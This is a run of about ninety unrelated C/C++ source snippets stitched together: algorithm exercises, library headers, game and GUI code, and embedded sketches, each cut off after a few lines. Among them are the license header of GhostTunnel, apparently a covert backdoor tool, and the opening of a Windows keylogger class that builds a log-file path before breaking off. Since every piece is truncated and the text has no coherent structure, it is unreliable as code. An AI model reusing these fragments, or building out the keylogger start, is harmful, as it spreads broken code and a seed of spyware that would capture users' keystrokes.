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#include "key.h" #include "../etc/format_helpers.h" #include <sstream> #include <string> #include <iomanip> #include <arpa/inet.h> starflow::types::Key::Key(u_char ip_p, in_addr ip_src, in_addr ip_dst, unsigned short th_sport, unsigned short th_dport) : ip_proto(static_cast<std::uint8_t>(ip_p)), ip_src(static_ca...
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//===----------------------------------------------------------------------===// // // Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions. // See https://llvm.org/LICENSE.txt for license information. // SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception // //===---------------------------...
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#include "il2cpp-config.h" #ifndef _MSC_VER # include <alloca.h> #else # include <malloc.h> #endif #include <cstring> #include <string.h> #include <stdio.h> #include <cmath> #include <limits> #include <assert.h> #include "class-internals.h" #include "codegen/il2cpp-codegen.h" extern const Il2CppGenericMeth...
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/** * @file * @brief GsimEventData * $Id: GsimRandData.h,v 1.2 2006/12/06 18:38:38 nanjo Exp $ * $Log: GsimRandData.h,v $ * Revision 1.2 2006/12/06 18:38:38 nanjo * CVS variables. * */ #ifndef GsimRandData_h #define GsimRandData_h //includes #include "TObject.h" #include <string> #include <vector> /...
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/* * Copyright (C) 2018 E7mer of PegasusTeam <haimohk@gmail.com> * * This file is a part of GhostTunnel * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the Lice...
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// x3c - C++ PluginFramework #include <UtilFunc/PluginInc.h> #include "Cx_ObjectFactory.h" Cx_ObjectFactory::Cx_ObjectFactory() : m_unloading(0), m_loading(0) { ASSERT(x3InMainThread()); // see win32impl.h } Cx_ObjectFactory::~Cx_ObjectFactory() { for (std::vector<MODULE*>::iterator it = m_m...
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// --------------------------------------------------------------------------------------------- bof #ifndef EDPDAOH #define EDPDAOH // ---------------------------------------------------------------------------------------- includes #include <list> #include <Classes.hpp> // Project include //#include <SQLite\SQLite....
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// Basiki klasi grafikwn pou periexei to Game-Loop kai Dimiourgia tou para8irou #ifndef SIMULATOR_H #define SIMULATOR_H #include <SDL.h> #include <SDL_image.h> #include <SDL_ttf.h> #include "SurfaceLib.h" #include "GraphicDefines.h" #include "States.h" #include "IntroState.h" #include "HelpState.h" #include "Simul...
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//VISHAL ANAND //B16040 #include <iostream> #include "UndirectedGraph.hpp" using namespace std; int l,b,ans = 0; bool isValid(int i, int j){ return (i>=1 && i<=l && j>=1 && j<=b); } void work(int& i){ cout<<i<<" "; } int main(){ char mode,inp, vert = 0; cin>>l>>b>>mode; int bin[l+1][b+1]; for(int i=1; i<=l; ...
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//some external int functions used for measuring hobby RC pulses #define int0pin 2 #define int1pin 3 #define int2pin 21 #define int3pin 20 #define RC_CENTRE 1564; volatile long pulse0; volatile long pulse1; volatile long pulse2; volatile long pulse3; void setupExtInts(){ pinMode(int0pin, INPUT); pinMode(int1pin,...
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#ifndef LFOLLOWINGROTATIONBEHAVIOR_H #define LFOLLOWINGROTATIONBEHAVIOR_H #include <QtCore/qmath.h> #include "Behaviors.h" class SimpleRotationBehavior : public RotationBehavior { protected : int angle; public : SimpleRotationBehavior(Entity *ent = 0, Entity *t = 0, int a = 0) : RotationBehavior(ent, t), angl...
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/* * Copyright 2015-2021 CNRS-UM LIRMM, CNRS-AIST JRL */ #pragma once #include <mc_rtc/gui/details/traits.h> #include <mc_rtc/gui/elements.h> #include <mc_rtc/gui/types.h> #include <mc_rbdyn/configuration_io.h> #include "mc_rtc/MessagePackBuilder.h" namespace mc_rtc::gui { namespace details { /** Visual display...
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#include "mainwindow.hpp" #include "ui_mainwindow.h" /******************************************************************************************************************/ /******************************************************************************************************************/ /* Slot for port opened succes...
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/* A robot is located at the top-left corner of a m x n grid (marked 'Start' in the diagram below). The robot can only move either down or right at any point in time. The robot is trying to reach the bottom-right corner of the grid (marked 'Finish' in the diagram below). How many possible unique paths are there? ...
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#include "stdafx.h" #include "CppUnitTest.h" using namespace Microsoft::VisualStudio::CppUnitTestFramework; namespace BankUnitTest { TEST_CLASS(bankUnitTest) { public: TEST_METHOD(test_method) { } }; }
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#pragma once #include "Common.h" class Primitive { public: Primitive(); void setPoint( const Point & pt, int i ); const Point & point( int i ); void setColor( const Color & clr ); const Color & getColor(); void setPointSize( GLfloat pointSize ); GLfloat pointSize(); void draw(); private: Trian...
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#ifndef HAIRBRUSH_H #define HAIRBRUSH_H class HairBrush { public: HairBrush(); }; #endif
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// // GFXMain.cpp // GoldsprintsFX // // Created by Charlie Whitney on 8/27/14. // // #ifdef __linux //linux #include "../../include/app/GFXMain.h" #else // Windows & OSX #include "app/GFXMain.h" #endif using namespace ci; using namespace ci::app; using namespace std; using namespace gfx; GFXMain...
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#include <mcc/blockchain/types.hpp> #include <QStringList> #include "Account.hpp" #include "QtConversions.hpp" using std::string; TransactionSummary* Account::buildSummary(mcc::wallet::transaction_ledger_entry trx) { QList<LedgerEntry*> ledger; wdump((trx)); for( auto label : trx.delta_labels ) { ...
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#include "Fraction.h" #include <iostream> #include <string> using namespace std; int greatestCommonDivisors(int number1, int number2) { if (number1 == 0 && number2 == 0) { return 1; } if (number1 == 0) return number2; return greatestCommonDivisors(number2 % number1, number1); } Fraction::Fraction() :denomi...
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/* This is the header source file for the csv reader / dictionary classes. MIT License Copyright (c) 2020 LinuxDevon Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restri...
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void f() { extern int a; a++; }
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#include "mpi.h" //#ifdef __GNUC__ // #include <tr1/functional> /// ref wrapper (STL TR1 gcc) // using namespace std::tr1; //#else #include <functional> /// ref wrapper (STL TR1 msvc) // Floating Point Break on NaN (windows debugging) ///unsigned int fp_control_state = _controlfp(_EM_INEXACT, _MCW_EM); ...
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#include <iostream> #include <string> #include <map> using namespace std; int main(){ ios::sync_with_stdio( false ); int n; string result; map< string, int >goal; map< string, int >::iterator it; goal.clear(); cin >> n; for( int j = 0; j < n; j++ ){ cin >> result; goal[result]++; } int max = -1; ...
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#include <iostream> #include <time.h> #include "ids.hpp" #include "school.hpp" using namespace std; // return a random number between [1,num_of_students] inline unsigned int random_students_index(int num_of_students) { return rand() % num_of_students + 1; } // return a random number between [0,num_of_teachers] in...
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monitorthread.cpp
#include "../common/common.h" #include "monitor.h" #include "monitorthread.h" #include "servicemanager.h" using namespace csn; MonitorThread::MonitorThread(Monitor* pMonitor) : m_pMonitor(pMonitor) { } void MonitorThread::run() { int32_t i = 0; for (;;) { if (g_ServiceManager.getServiceC...
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#include<bits/stdc++.h> using namespace std; int main() { // maps in C++ are of two types // [a] Unordered Map:- Uses separate chaining technique with hash function // useful to keep elements in unsorted order has a time complexity of O(1) // to search an element; // [b] Map:- Uses Balanced BST of...
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/*============================================================================== Description: ==============================================================================*/ //****************************************************************************** //*************************************************************...
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#include "application.h" #include "node.h" const int NODE_SERIAL_START = 200; namespace NODE_V1 { int node_setup(Id node = NODE_SERIAL_START); // namespace WREG { int wreg_set(const char *); int get_wreg(); int post_wreg(const char *); // } namespace WREG // namespace RGB { int rgb_set(const char *); int g...
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Kinanti.cpp
#include "stdafx.h" #include "Kinanti.h" Kinanti::Kinanti(int year) { m_year = year; } string Kinanti::getName() { string a = "\"Kinanti (year "; a += to_string(m_year); a += ")\""; return a; } void Kinanti::prepare() { cout << "you ordered Kinanti.\n" << "so the story about this red wine started at " << m_year ...
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StringSplit.h
#ifndef UNTITLED_STRINGSPLIT_H #define UNTITLED_STRINGSPLIT_H #pragma once #include <string> #include <vector> using namespace std; class StringSplit { public: vector<string> Split(const string &subject, const char &delim); }; #endif //UNTITLED_STRINGSPLIT_H
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#pragma once #include "hvn3/collision/CollisionManagerBase.h" #include "hvn3/collision/Collider.h" namespace hvn3 { class CollisionManager : public CollisionManagerBase { protected: using CollisionManagerBase::CollisionManagerBase; void CheckPairs(const IBroadPhase::collider_pair_vector_type& pairs) overrid...
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Tarjans.cpp
// Tarjans Algorithm for Strongly Connected Componenets #include<bits/stdc++.h> using namespace std; void util(vector<int> adj[],int cur,vector<int> &disc,vector<int> &low,vector<bool> &inStk,stack<int> &stk) { static int time=0; disc[cur]=low[cur]=++time; stk.push(cur); inStk[cur]=true; vector<int...
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#ifndef _CST_ANIMATION_PLAYER_H_ #define _CST_ANIMATION_PLAYER_H_ #include "TalkingHead.h" /// /// @brief The player for playing the Talking Head animation /// class CSTHEAD_API AnimationPlayer { public: /// /// @brief Playing status /// enum STATUS { IDLE=0, PLAY=1, CAL...
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LiberateGameStateBase.cpp
// Fill out your copyright notice in the Description page of Project Settings. #include "LiberateGameStateBase.h" #include "UnrealNetwork.h" ALiberateGameStateBase::ALiberateGameStateBase() { bNetLoadOnClient = true; TotalRegions = 0; CompletedRegions = 0; } void ALiberateGameStateBase::GetLifetimeReplicatedPro...
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#pragma once #include <ratio> #include <cmath> namespace Units{ namespace internal { struct BaseQuantity{}; // The "RQuantity" class is the prototype template container class, that just holds a double value. The // class SHOULD NOT BE INSTANTIATED directly by itself, rather use the quantity types defined below. te...
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#include<iostream> using namespace std; int main() { int *A=new int[100000],N,X; cin>>N>>X; int temp=0; while(temp!=N){cin>>A[temp];temp++;} int count=0; temp=0; int var=0; while(temp!=N){ if(count==2){break;} if(A[temp]<=X){var++;} if(A[temp]>X){count++;} temp++; } cout<<var<<endl; re...
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GAFTextureAtlasElement.cpp
#include "GAFPrecompiled.h" #include "GAFTextureAtlasElement.h" NS_GAF_BEGIN GAFTextureAtlasElement::GAFTextureAtlasElement() : rotation(GAFRotation::NONE) , name("") { } void GAFTextureAtlasElement::setScale(float s) { scale = scaleX = scaleY = s; } void GAFTextureAtlasElement::setScaleX(float s) { scale ...
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GLObject.cpp
#include "GLObject.h" #include "Transform.h" #include "RenderManager.h" #include "Camera3D.h" #include "Render3D.h" #include <gtc\matrix_transform.hpp> #include <gtc\type_ptr.hpp> #include <gtx\euler_angles.hpp> #include <glm.hpp> extern RenderManager* renderManager; void GLObject::ResizeVaosNumber(int sections) {...
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path.cpp
#include "path.h" #define PI 3.14159265 Path::Path(){} Path::~Path(){} // x = cx + r * cos(a) // z = cz + r * sin(a) bool Path::getCircleTrajectoryXZBase(const geometry_msgs::Pose& startingPose, const double radius, const double startingAngleDeg, const double endAngleDeg, const double stepDeg, const int clockwise...
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#pragma once namespace System { namespace Xml { { namespace XPath { class NullIterator : public SelfIterator // 0x40 { public: }; // size = 0x40 }
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/*--------------------------------*- C++ -*----------------------------------*\ ========= | \\ / F ield | OpenFOAM: The Open Source CFD Toolbox \\ / O peration | Website: https://openfoam.org \\ / A nd | Version: 7 \\/ M anipulation | \*-------...
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#include "partition.h" #include <iostream> void Partitioner::run() { /* TODO: 2-way FM */ } /* You are not allowed to modify the following function */ void Partitioner::print_result() { for (int i = 0; i < blocks; i++) { printf("Block #%d, Node Num: %d\n", i, blockNodeNum[i]); } Va...
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#include<iostream> #include<fstream> using namespace std; int main() { ifstream fin; fin.open("FIRST.TXT"); ofstream fout; fout.open("SECOND.TXT"); char word[30]; while(!fin.is_open()) { fin>>word; if(word[0]=='a'||word[0]=='e'||word[0]=='i'||word[0]=='o'||word[0]=='u') fout<<word<<" "...
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/* * Copyright (C) 2019 Touchlab, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or ag...
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#pragma once #ifndef _RMVISGEO_H #define _RMVISGEO_H /******************************************************************************* Copyright (c) 1996-1998 Microsoft Corporation. All rights reserved. Building a geometry out of a D3D retained mode visual. ************************************************...
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/*********************************************************************** Copyright (c) 2006-2011, Skype Limited. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: - Redistributions of source code must retai...
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#ifndef LINES_H #define LINES_H #include "TFuzzy.h" #define TRACELENGTH 10000 #define CHANNELNUM 2 using namespace Crystal; using namespace Fuzzy; class line { int timemark[TRACELENGTH]; int value[CHANNELNUM][TRACELENGTH]; int end; bool visible[CHANNELNUM]; int scale[CHANNELNUM]; ClassFuzzy channel[CHANNE...
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#include "header.h" int main() { char buffer[500]; int amountOfDefines = sizeCalculateForDefineArray(); defineStruct* defineUnit = (defineStruct*) malloc (amountOfDefines*sizeof(defineStruct)); inFileSearch(defineUnit, amountOfDefines); for(int i=0; i<amountOfDefines; ++i){ cout << "Имя: ...
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#include<iostream> #include<windows.h> #include<stdlib.h> #include<stdio.h> #include<list> #define WIN 21 using namespace std; int arr[13]; void formar(void){ for(int i = 0 ; i < 13; i++){ arr[i] = 4; } } class jugador{ private: int x; int acumulado; ...
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/* Copyright (C) 2005 Heinrich du Toit This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope...
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/* */ #include <ESP8266WiFi.h> #include <DHT.h> #define DHTPIN D7 // Pin sur lequel est branché le DHT #define DHTTYPE DHT22 // DHT 22 (AM2302) // valeurs pour le WiFi //const char* ssid = "rezomaizon"; //const char* password = "jepensequeprendresonpetitdejeunerlematinestmeilleur"; const...
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#ifndef _BATCH_H_ #define _BATCH_H_ namespace Framework { /* A basic batch. This class handles vertex arrays right: adding points and rendering stuff. Meant to be subclassed */ class Batch { private: float *vertex; float *color; // Even if those thecnically do the same, I still leave both because th...
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#include <iostream> #include <fstream> #include <cmath> #include "Utils.h" #include "RoboDNN.h" #include <ctime> int main() { // Create random image int imgCnt = 100; int W = 512, H = 384; std::vector<float> in(W*H*3); int rowoffs = 0; int choffs = W*H; for (int i = 0; i < H; i++) { ...
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/*! * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this file, * You can obtain one at http://mozilla.org/MPL/2.0/. * * Copyright(c) 2009 Apogee Instruments, Inc. * * \class Alta * \brief Derived class for the alta apogee cameras ...
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/* Calculator for a generic single lepton analysis Author: Joshua Swanson, 2014 */ #include <iostream> #include "LJMet/Com/interface/BaseCalc.h" #include "LJMet/Com/interface/LjmetFactory.h" #include "LJMet/Com/interface/LjmetEventContent.h" #include "TLorentzVector.h" #include "EgammaAnalysis/ElectronTools/inter...
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// // List.cpp // serializedList // // Created by MacBook on 07.06.15. // Copyright (c) 2015 Lav. All rights reserved. // #include "List.h" #include "stdlib.h" #include <map> #include <vector> //============================================================================== std::string findBetween( ...
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#include <iostream> using namespace std; typedef unsigned short int usi; #define pause system("pause") #define clear system("cls") #define DEBUG int main() { setlocale(0, "rus"); usi sizeRow = 3; usi sizeCol = 3; #ifdef DEBUG scanf("%d %d", &sizeRow, &sizeCol); #endif // DEBUG int **mtx = (int**) calloc(si...
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#include <iostream> using namespace std; // Here we insert declarations of the classes we want to make use of and global constants: class stack; class graph_node; class graph; const int MAX_SIZE = 200000; // --------------------------------------------------------------------- /* STACK * This is an adhoc implementa...
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// C++ implementation of simple method to find count of // pairs with given sum. #include <bits/stdc++.h> using namespace std; int pairsCount(int arr[], int n, int sum) { unordered_map<int, int> m; for (int i = 0; i < n; i++) m[arr[i]]++; int tcount = 0; for (int i = 0; i < n; i++) { tcount += m[sum - arr[i...
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// CalibrationDlg.cpp : 实现文件 // #include "stdafx.h" #include "MFC.h" #include "CalibrationDlg.h" // CCalibrationDlg IMPLEMENT_DYNAMIC(CCalibrationDlg, CDialogEx) CCalibrationDlg::CCalibrationDlg(CWnd* pParent) :CDialogEx(IDD_CALIBRATION, pParent), validPoint(0) { for (int i = 0; i < 33; i++) { m_measuredVal[i]...
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#include "pk_tree.h" #include "node.h" #include <iostream> #include <unordered_set> #include <random> #include <limits> #include <set> std::random_device pk_tree::rd; std::mt19937 pk_tree::gen(rd()); pk_tree::pk_tree(std::string file_name, unsigned int K, int I_max) { k = K; i_max = I_max; read_point(file_name)...
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#include <iostream> #include <string> using std::string; // Count the number of nodes in one binary tree // // This problem demonstrates simple binary tree traversal.Given a binary tree, count the number of nodes in the tree. // int size(struct node* node) { struct node { int data; struct node* left; ...
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/* 프로그래머스 베스트 앨범 해시+우선순위 큐 */ #include <string> #include <vector> #include <map> #include <algorithm> #include <queue> using namespace std; typedef pair<int,int>pi; map<string,int>m; priority_queue<pi, vector<pi>>pq[105]; int cnt[105]; vector<int> solution(vector<string> genres, vector<int> plays) { vector<int> ...
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name = "Republic of Folk Addons"; picture = "\x\rof\addons\main\rof.paa"; hidePicture = "false"; hideName = "false"; actionName = "Website"; action = "https://republicoffolk.org/"; description = "Republic of Folk Addons";
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/* * Copyright 2017 WebAssembly Community Group participants * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by...
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#include<iostream> #include<cmath> #include<algorithm> using namespace std; int main() { int i,j,n,count=1,m=1,k; cin>>n; int a[n]; for (i=0;i<n;i++) { cin>>a[i]; } for (i=0,j=1;i<n&&j<n;i++,j++) { if (a[i]<=a[j]) { count=count+1; if (count>m) { m=count; } } else { coun...
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// $Header: /Integration_Customer/Meijer/CURRENT_DEV/Platform-Core-Patch/remote console manager/src/rap/actions/PushbackImmediateIntervention.cpp 3 10/21/08 4:08p Sm133076 $ /* * @(#)PushbackImmediateIntervention.cpp $Revision: 3 $ $Date: 10/21/08 4:08p $ * * Copyright 2004 by NCR Corporation, * * All...
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#pragma once #include "Core/Scene.h" #include "Loaders/ModelLoader.h" #include "Renderer/Pipeline.h" #include "Renderer/Shader.h" #include "Scenes/Camera.h" namespace RS { class TessellationScene : public Scene { public: struct CameraData { glm::mat4 world = glm::mat4(1.f); glm::mat4 view = glm::mat4(1...
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/* Copyright 2018 The TensorFlow Authors. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or a...
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/* * Copyright (C) 1997-2005 Daniel Robert Bradley. All rights reserved. * * This software is redistributable under the terms of the GNU LGPL * (Lesser General Public License). * * I.S.Labs is a registered trademark of Daniel Robert Bradley */ #ifndef OPENOCL_UI_ICON_H #define OPENOCL_UI_ICON_H #include "o...
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/* -*- Mode: c++; tab-width: 4; indent-tabs-mode: t; c-basic-offset: 4 -*- * * Copyright (C) 1995-2012 Opera Software AS. All rights reserved. * * This file is part of the Opera web browser. It may not be distributed * under any circumstances. * * @author spoon / Patricia Aas (psmaas) */ #include "core/pch.h"...
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/* * @lc app=leetcode id=355 lang=cpp * * [355] Design Twitter */ #include <iostream> #include <vector> #include <algorithm> #include <map> using namespace std; // @lc code=start class Twitter { struct msg { int msgId; int token; msg(int m, int t):msgId(m), token(t){} }; st...
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#pragma once #include "IDrawer.h" #include "display/DisplayObject.h" class Drawer : public IDrawer { public: Drawer() = default; void draw(const boost::shared_ptr<DisplayObject>& drawable, DrawingData drawingData) override; };
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#include <algorithm> #include <processFiles.cpp> using namespace cv; int main() { // Call the image_process function std::string dropPath; std::string pickPath; pickPath = "/test"; dropPath = "/test_"; cout << "Hello World!"; processFiles(pickPath, dropPath); }
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#pragma once #ifndef MA_PSO_H #define MA_PSO_H #include <Eigen/Dense> #include "Temperature.h" #include <vector> using namespace Eigen; class MA_PSO { private: float c1, c2, omga; float vmax, vmin; int n_agent, width, width_sl; public: bool flag; float gbest; float* ...
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//------------------------------------------------------------------------------ /// \file PointerWrappers_tests.cpp /// \author Ernest Yeung /// \email ernestyalumni@gmail.com //------------------------------------------------------------------------------ #include "Cpp/Utilities/Memory/PointerWrappers.h" #include <...
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#pragma once #include<glm.hpp> #include<gtc\matrix_transform.hpp> #include<gtc\type_ptr.hpp> #include<SOIL.h> #include"Generate.h" #include"Program.h" #include"Camera.h" #include"DiffuseObject.h" using namespace glm; class MyScene { private: //各种场景信息(相机、材质、灯光、各种物体的各种矩阵) //mesh object mat4x4 buddhaWorld; //世界矩...
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/** * Definition for a binary tree node. * struct TreeNode { * int val; * TreeNode *left; * TreeNode *right; * TreeNode() : val(0), left(nullptr), right(nullptr) {} * TreeNode(int x) : val(x), left(nullptr), right(nullptr) {} * TreeNode(int x, TreeNode *left, TreeNode *right) : val(x), l...
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/* * Little Helper -- your best friend in your lab * http://www.appfruits.com/littlehelper * * This software is part of the firmware running Little Helper. You may use, copy, * modify, merge, publish, distribute, sublicense, and/or sell copies of the Software * but you must include this copyright notice and thi...
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/******************************************************************************** ** Form generated from reading UI file 'login.ui' ** ** Created by: Qt User Interface Compiler version 5.13.2 ** ** WARNING! All changes made in this file will be lost when recompiling UI file! ********************************************...
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#ifndef COREOUTPUTWIDGET_H #define COREOUTPUTWIDGET_H #include <QWidget> #include <QPushButton> #include <QTableWidget> #include "iast_plotter/iast_plotter_widget.h" class CoreOutputWidget : public QWidget { Q_OBJECT public: explicit CoreOutputWidget(QWidget *parent = 0); QTableWidget* table(); void...
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#include "base_quals.h" #include "utils/hts_memory.h" #include <string> #include <stdexcept> using namespace std; namespace gamgee { /** * @brief creates a BaseQuals object that points to htslib memory already allocated * * @note the resulting BaseQuals object shares ownership of the pre-allocated memory via ...
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/* PCL中实现欧式聚类提取。 对三维点云组成的场景进行分割 桌子平面上 的点云团 使用 欧式聚类的算法 kd树搜索 对点云聚类分割 1. 半径滤波(统计学滤波)删除离群点 体素格下采样等 2. 采样一致找到桌面(平面)或者除去滤波    3. 提取除去平面内点的 外点 (桌上的物体就自然成了一个个的浮空点云团) 4. 欧式聚类 提取出我们想要识别的东西 */ #include <thread> #include <pcl/ModelCoefficients.h> //模型系数 #include <pcl/point_types.h> //点云基本...
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#include <iostream> #include <cmath> using namespace std; int main(){ int dec; cin>>dec; int rem=0; int base=10; int i=0; int oct=0; while(dec!=0){ rem=dec%8; dec = dec/8; oct = rem*pow(10,i)+oct; ++i; } cout<<oct; return 0; }
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#ifndef __COLA_B_PROTOCOL_H__ #define __COLA_B_PROTOCOL_H__ /* ========================================================================================== Copyright (c) SICK AG - Division Auto Ident, 2008 ========================================================================================== */ #include ...
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/* Copyright (C) 2000, 2001 Silicon Graphics, Inc. All Rights Reserved. This program is free software; you can redistribute it and/or modify it under the terms of version 2 of the GNU General Public License as published by the Free Software Foundation. This program is distributed in the hope that it woul...
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#ifndef COMMON_VEHICLE_PARAM_HANDLE_VEHICLE_PARAM_HANDLE_H_ #define COMMON_VEHICLE_PARAM_HANDLE_VEHICLE_PARAM_HANDLE_H_ #include <string> #include "common/macro.h" #include "common/proto/vehicle_param.pb.h" namespace common { class VehicleParamHandle { public: static void Init(); static void Init(const Ve...
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#include <cstdio> #include <string> #include <vector> #include <map> #include <utility> using namespace std; /** * Problem: Given two integers representing the numerator and denominator of a fraction, return the fraction in string format. * Solve: use a map to keep in mind where the loop begins. * Tips: 1. use lo...
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//https://leetcode.com/problems/self-crossing/ class Solution { public: //time O(n), space O(1) bool isSelfCrossing(vector<int>& x) { int n = x.size(); if(n <= 3) return false; for(int i = 3; i < n; ++i){ //Fourth line crosses first line and onward(内交) if(x[i] >= x[i-2] && x[i-1] <= x[i-3])...
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/* * Name : Table.h * Author : Team 28 * Description : - header file for Table class */ #ifndef TABLE_H_ #define TABLE_H_ #include <vector> #include <iostream> #include "Attribute.h" #include "Record.h" using namespace std; class __declspec(dllexport) Table { friend class Database; public: //constru...
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ZJ b030.cpp
#include <iostream> #include <string> using namespace std; int main() { bool ox_1,ox_2; int a[128],b[128],i; string n; while (getline(cin,n)) { ox_1=ox_2=1; for (i=127;i;i--) a[i]=b[i]=0; for (i=0;i<n.size();i++) a[n[i]]++; getline(cin,n); for (i=0;i<n.size();i++) b[n[i]]++; for (i=65;i<=...
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Node.cpp
#include "Node.h" namespace stepper_motor_controller { uint16_t Node::steps_; bool Node::is_running_ = false; void Node::begin() { config_.set_buffer(get_buffer()); config_.validator_.set_node(*this); config_.reset(); config_.load(); state_.set_buffer(get_buffer()); state_.validator_.set_node(*this); /...
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#include<stdio.h> //Write a program which accept two number from user swapping of that number without using third variable(temp) int main() { int x=0,y=0; printf("Enter value of x:"); scanf("%d",&x); printf("Enter value of y:"); scanf("%d",&y); if(x>=0 && y>=0) { x = x + y; y = x - y; x ...
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#include "stdafx.h" #include "keylogger.h" using namespace std; Keylogger::Keylogger() { } Keylogger::~Keylogger() { } string Keylogger::getPath() { SYSTEMTIME st; GetSystemTime(&st); char tt[100]; sprintf_s(tt, "%.4d-%.2d-%.2d", st.wYear, st.wMonth, st.wDay); string path; char pa[260]; GetEnvironmentVari...
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#include "Matrix.h" #include <cmath> Vector operator*(const Matrix& C,const Vector& V) { int d = C.size(); int f = V.size(); Vector W(d); for (int j=0; j<d; j++) { W[j]=0.0; for (int l=0; l<f; l++) W[j]=W[j]+C[j][l]*V[l]; } return W; } Vector operator*(const Vector& V, const Matrix& C...
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SumOfDigits.cpp
#include<bits/stdc++.h> using namespace std; int sum(int n, int k=0){ if(n==0){ return k; } return (sum(n/10,k+(n%10))); } int main(){ int n; cin>>n; cout<<sum(n); return 0; }
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dijkastra.cpp
#include <iostream> #include <vector> #include <algorithm> #include <string.h> #include <math.h> #include <queue> #include <map> using namespace std; #define MAX_N 100000 #define LL long long #define OO INT32_MAX void dikastra(vector<vector<pair<int, int>>> &adj, vector<int> &parents) { vector<int> distances(adj.s...
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LAB_1_Prototype.cpp
#include <iostream> #include <string> using namespace std; /* Prototype base class. */ class Aircraft //Prototype { protected: string value; public: virtual Aircraft* clone() = 0; string getValue() { return value; } }; class ConcreteAircraft : public Aircraft //ConcretePrototype {...